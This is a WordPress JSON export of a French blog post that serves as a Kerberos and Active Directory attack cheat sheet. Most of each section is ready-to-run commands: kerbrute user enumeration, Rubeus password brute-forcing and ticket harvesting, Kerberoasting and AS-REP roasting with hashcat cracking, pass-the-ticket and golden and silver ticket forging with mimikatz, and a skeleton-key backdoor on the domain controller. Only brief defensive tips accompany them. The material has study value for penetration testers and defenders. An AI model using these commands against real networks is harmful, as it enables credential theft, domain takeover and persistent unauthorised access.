{"id":506,"date":"2021-07-03T16:02:15","date_gmt":"2021-07-03T21:02:15","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=506"},"modified":"2021-07-03T16:02:15","modified_gmt":"2021-07-03T21:02:15","slug":"attaques-kerberos","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/","title":{"rendered":"Attaques Kerberos"},"content":{"rendered":"<p><strong>Privil\u00e8ge requis par les attaques<\/strong><\/p>\n<p>Kerbrute Enumeration &#8211; Pas d&#8217;acc\u00e8s au domaine requis<br \/>\nPass the Ticket &#8211; Acc\u00e8s au domaine comme un usager<br \/>\nKerberoasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager<br \/>\nAS-REP Roasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager<br \/>\nGolden Ticket &#8211; Domaine compromis compl\u00e8tement (domain admin) requis<br \/>\nSilver Ticket &#8211; Service hash requis<br \/>\nSkeleton Key &#8211; Domaine compromis compl\u00e8tement (domain admin) requis<\/p>\n<p><strong>Trouver des usagers avec kerbrute<\/strong><\/p>\n<p><pre><code>https:\/\/github.com\/ropnop\/kerbrute\/releases\nchmod +x kerbrute\nhttps:\/\/github.com\/Cryilllic\/Active-Directory-Wordlists\/blob\/master\/User.txt\n.\/kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt<\/code><\/pre><\/p>\n<p>R\u00e9colter des TGT \u00e9chang\u00e9s avec le KDC avec rubeus (tous les 30 secondes)<br \/>\n<code>Rubeus.exe harvest \/interval:30<\/code><\/p>\n<p>Sur le controleur de domaines<br \/>\n<pre><code>\necho 10.10.110.139 CONTROLLER.local &gt;&gt; C:\\Windows\\System32\\drivers\\etc\\hosts\nRubeus.exe brute \/password:Password1 \/noticket #essaie tous les utilisateurs avec mot de passe et retourne un tgt (.kirbi). Cela peut bloquer certains comptes d\u00e9pendemment des politiques\nRubeus.exe harvest \/interval:30 #lit le cache des tickets TGT tous les 30 secondes\n<\/code><\/pre><\/p>\n<p><strong>Kerberoasting<\/strong><\/p>\n<p>Permet d&#8217;obtenir les hash des usagers &#8220;kerberoastable&#8221;<br \/>\n<pre><code>Rubeus.exe kerberoast\nsudo python3 GetUserSPNs.py controller.local\/Machine1:Password1 -dc-ip 10.10.10.10 -request #alternative avec impacket sur une autre machine (Linux)\nhashcat -m 13100 -a 0 hash.txt dict.txt\n<\/code><\/pre><\/p>\n<p>Que faire avec les service account ? Si c&#8217;est un admin de domaine, vous pouvez obtenir les hashes du NTDS.dit (contr\u00f4le similaire \u00e8 un silver\/golden ticket). Si c&#8217;est un compte moins privil\u00e9gi\u00e9, on peut essayer de se connecter \u00e0 d&#8217;autres ordinateurs et obtenir d&#8217;autres acc\u00e8s (pivot) ou on peut utiliser ce mot de passe pour tenter de se connecter sur d&#8217;autres comptes (password spraying). Pour prot\u00e9ger son enteprise, il faut utiliser des mots de passe robustes, ne pas les r\u00e9utiliser et ne pas donner le privil\u00e8ge &#8220;domain admin&#8221; au service accounts.<\/p>\n<p><strong>AS-REP Roasting<\/strong><\/p>\n<p>Similaire au Kerberoasting, AS-REP Roasting permet d&#8217;obtenir les hashes des comptes usagers qui ont la pr\u00e9-authentification d\u00e9sactiv\u00e9. Contrairement au kerberoasting, ces usagers ne doivent pas \u00eatre obligatoirement des &#8220;service&#8221; accounts.<\/p>\n<p><pre><code>Rubeus.exe asreproast\n#dans le hash, ins\u00e9rer 23$ apr\u00e8s $krb5asrep$ (type Kerberos 5 AS-REP etype 23)\nhashcat -m 18200 hash.txt Pass.txt\n<\/code><\/pre><\/p>\n<p>Pour se prot\u00e9ger, il faut utiliser de bons mots de passe et ne pas d\u00e9sactiver la pr\u00e9-authentification Kerberos.<\/p>\n<p><strong>Pass the hash avec mimikatz<\/strong><\/p>\n<p><pre><code>mimikatz.exe\nprivilege::debug\nsekurlsa::tickets \/export on peut aussi utiliser un ticket encod\u00e9 en base64 obtenu de rubeus\nkerberos::ptt thetickethere.kirbi #de pr\u00e9f\u00e9rence krbtgt\nklist #pour voir si correctement impersonnifi\u00e9. Liste le nombre de tickets en cache\n<\/code><\/pre><\/p>\n<p>Une bonne mesure de pr\u00e9caution ici est de ne pas se connecter \u00e8 n&#8217;importe lequel poste avec le compte admin du domaine.<\/p>\n<p><strong>Attaques Golden\/Silver ticket avec mimikatz<\/strong><\/p>\n<p>Mimikatz est un outil tr\u00e8s populaire pour poursuivre l&#8217;exploitation. Il permet d&#8217;avoir une liste des usagers\/hash d&#8217;un active directory. Nous utiliserons mimikatz ici pour se cr\u00e9er un silver ticket.<\/p>\n<p>Un silver ticket peut parfois \u00eatre sup\u00e9rieur \u00e0 un golden ticket parce qu&#8217;il est plus discret. L&#8217;approche pour se cr\u00e9er un silver ticket est la m\u00eame que pour un golden ticket. Par contre, un silver ticket est limit\u00e9 au service \u00e0 lequel il est destin\u00e9 tandis qu&#8217;un golden ticket peut acc\u00e9der \u00e0 tous les services Kerberos.<\/p>\n<p>Par exemple, vous voulez avoir acc\u00e8s \u00e0 un SGBD, mais l&#8217;utilisateur compromis n&#8217;a pas acc\u00e8s \u00e0 ce serveur. Vous pouvez alors trouver un service account qui y a acc\u00e8s et r\u00e9cup\u00e9rer le service hash et impersonnifier leur TGT pour faire une requ\u00eate sur le KDC pour un service ticket pour le sereur SQL du domaine .<\/p>\n<p><pre><code>mimikatz.exe\nprivilege::debug\nlsadump::lsa \/inject \/name:krbtgt #Pour cr\u00e9er un silver ticket, il faut changer le destinataire du \/name: pour un admin du domaine ou un service account (ie : SQLServer)\nKerberos::golden \/user:Administrator \/domain:controller.local \/sid:sid_du_domaine_ici \/krbtgt:ntlm_hash_ici \/id:500 #golden ticket. voir lsadump::lsa pour le sid du domaine. voir le hash ntlm de krbtgt dans lsa::dump&nbsp;&nbsp;\nKerberos::golden \/user:Administrator \/domain:controller.local \/sid:sid_du_service_account_ici \/krbtgt:service_ntlm_hash_ici \/id:1103 #silver ticket\nmisc::cmd #nouveau prompt avec le ticket\n<\/code><\/pre><\/p>\n<p><strong>Backdoor mimikatz dans la forest du domaine<\/strong><\/p>\n<p>Cela permet de se connecter aux machines avec un &#8220;master password&#8221;.<br \/>\n<pre><code>mimikatz.exe\nprivilege::debug\nmisc::skeleton # quand la cl\u00e9 est implant\u00e9 dans le controleur de domaine, il essaie de d\u00e9crypter le &quot;AS-REQ encrypted timestamps&quot; en utilisant le HASH NT et le hash de la nouvelle cl\u00e9 (les 2), vous permettant ainsi l&#039;acc\u00e8s \u00e8 la forest du domaine. Backdoor non permettante, car seulement en m\u00e9moire. vous devez par exemple, faire un script lors du d\u00e9marrage du poste (ou autre).\nnet use c:\\\\DOMAIN-CONTROLLER\\admin$ \/user:Administrator mimikatz\ndir \\\\Desktop-1\\c$ \/user:Machine1 mimikatz\n<\/code><\/pre><\/p>\n<p>https:\/\/medium.com\/@t0pazg3m\/pass-the-ticket-ptt-attack-in-mimikatz-and-a-gotcha-96a5805e257a<br \/>\nhttps:\/\/ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/as-rep-roasting-using-rubeus-and-hashcat<br \/>\nhttps:\/\/posts.specterops.io\/kerberoasting-revisited-d434351bd4d1<br \/>\nhttps:\/\/www.harmj0y.net\/blog\/redteaming\/not-a-security-boundary-breaking-forest-trusts\/<br \/>\nhttps:\/\/www.varonis.com\/blog\/kerberos-authentication-explained\/<br \/>\nhttps:\/\/www.blackhat.com\/docs\/us-14\/materials\/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don&#8217;t-Get-It-wp.pdf<br \/>\nhttps:\/\/www.sans.org\/cyber-security-summit\/archives\/file\/summit-archive-1493862736.pdf<br \/>\nhttps:\/\/www.redsiege.com\/wp-content\/uploads\/2020\/04\/20200430-kerb101.pdf<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Privil\u00e8ge requis par les attaques Kerbrute Enumeration &#8211; Pas d&#8217;acc\u00e8s au domaine requis Pass the Ticket &#8211; Acc\u00e8s au domaine comme un usager Kerberoasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager AS-REP Roasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager Golden Ticket &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Silver Ticket &#8211; Service hash requis Skeleton Key &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Trouver des usagers avec kerbrute https:\/\/github.com\/ropnop\/kerbrute\/releases chmod +x kerbrute https:\/\/github.com\/Cryilllic\/Active-Directory-Wordlists\/blob\/master\/User.txt .\/kerbrute userenum &#8211;dc CONTROLLER.local -d CONTROLLER.local User.txt R\u00e9colter des TGT \u00e9chang\u00e9s avec le KDC avec rubeus (tous les 30 secondes) Rubeus.exe harvest \/interval:30 Sur le controleur de domaines <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Attaques Kerberos - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Attaques Kerberos - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Privil\u00e8ge requis par les attaques Kerbrute Enumeration &#8211; Pas d&#8217;acc\u00e8s au domaine requis Pass the Ticket &#8211; Acc\u00e8s au domaine comme un usager Kerberoasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager AS-REP Roasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager Golden Ticket &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Silver Ticket &#8211; Service hash requis Skeleton Key &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Trouver des usagers avec kerbrute https:\/\/github.com\/ropnop\/kerbrute\/releases chmod +x kerbrute https:\/\/github.com\/Cryilllic\/Active-Directory-Wordlists\/blob\/master\/User.txt .\/kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt R\u00e9colter des TGT \u00e9chang\u00e9s avec le KDC avec rubeus (tous les 30 secondes) Rubeus.exe harvest \/interval:30 Sur le controleur de domaines\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-03T21:02:15+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/\",\"name\":\"Attaques Kerberos - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-07-03T21:02:15+00:00\",\"dateModified\":\"2021-07-03T21:02:15+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Attaques Kerberos\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Attaques Kerberos - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/","og_locale":"fr_CA","og_type":"article","og_title":"Attaques Kerberos - S\u00e9curiser votre site","og_description":"Privil\u00e8ge requis par les attaques Kerbrute Enumeration &#8211; Pas d&#8217;acc\u00e8s au domaine requis Pass the Ticket &#8211; Acc\u00e8s au domaine comme un usager Kerberoasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager AS-REP Roasting &#8211; Acc\u00e8s comme n&#8217;importe lequel usager Golden Ticket &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Silver Ticket &#8211; Service hash requis Skeleton Key &#8211; Domaine compromis compl\u00e8tement (domain admin) requis Trouver des usagers avec kerbrute https:\/\/github.com\/ropnop\/kerbrute\/releases chmod +x kerbrute https:\/\/github.com\/Cryilllic\/Active-Directory-Wordlists\/blob\/master\/User.txt .\/kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt R\u00e9colter des TGT \u00e9chang\u00e9s avec le KDC avec rubeus (tous les 30 secondes) Rubeus.exe harvest \/interval:30 Sur le controleur de domaines","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-07-03T21:02:15+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/","name":"Attaques Kerberos - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-07-03T21:02:15+00:00","dateModified":"2021-07-03T21:02:15+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/03\/attaques-kerberos\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Attaques Kerberos"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/506"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=506"}],"version-history":[{"count":7,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/506\/revisions"}],"predecessor-version":[{"id":513,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/506\/revisions\/513"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=506"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=506"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=506"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}